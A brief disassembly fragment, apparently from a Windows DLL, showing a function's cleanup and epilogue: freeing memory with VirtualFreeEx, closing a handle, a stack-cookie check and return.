call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2b8]
mov rbx, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.180018330
add rsp, 0x2a0
pop rdi
ret